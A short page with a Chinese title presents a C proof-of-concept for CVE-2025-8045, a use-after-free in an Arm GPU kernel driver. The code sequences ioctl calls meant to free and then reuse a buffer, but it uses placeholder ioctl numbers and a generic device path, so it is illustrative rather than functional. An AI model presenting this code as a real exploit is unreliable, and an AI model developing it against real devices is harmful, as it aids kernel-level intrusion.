CVE-2025-8045 Arm GPU内核驱动释放后重用漏洞

// CVE-2025-8045 PoC - Arm GPU Use After Free // This PoC demonstrates the vulnerability concept #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> // GPU ioctl command definitions (example) #define GPU_IOCTL_SUBMIT_JOB 0xAA01 #define GPU_IOCTL_GET_INFO 0xAA02 struct gpu_submit_job { unsigned long job_handle; unsigned int flags; unsigned long user_data; }; int main() { int fd; struct gpu_submit_job job; // Open GPU device fd = open("/dev/gpu0", O_RDWR); if (fd < 0) { perror("Failed to open GPU device"); return -1; } // Step 1: Submit initial GPU job that allocates buffer memset(&job, 0, sizeof(job)); job.flags = 0x01; job.user_data = (unsigned long)malloc(0x1000); if (ioctl(fd, GPU_IOCTL_SUBMIT_JOB, &job) < 0) { perror("Job submission failed"); close(fd); return -1; } // Step 2: Trigger buffer release through cleanup operation // This creates the UAF window job.flags = 0x00; // Cleanup flag ioctl(fd, GPU_IOCTL_SUBMIT_JOB, &job); // Step 3: Immediately submit new job to access freed memory // The freed buffer may still be referenced by pending GPU operation job.flags = 0x02; // New operation job.user_data = (unsigned long)malloc(0x1000); // This may access the already freed memory ioctl(fd, GPU_IOCTL_SUBMIT_JOB, &job); close(fd); return 0; }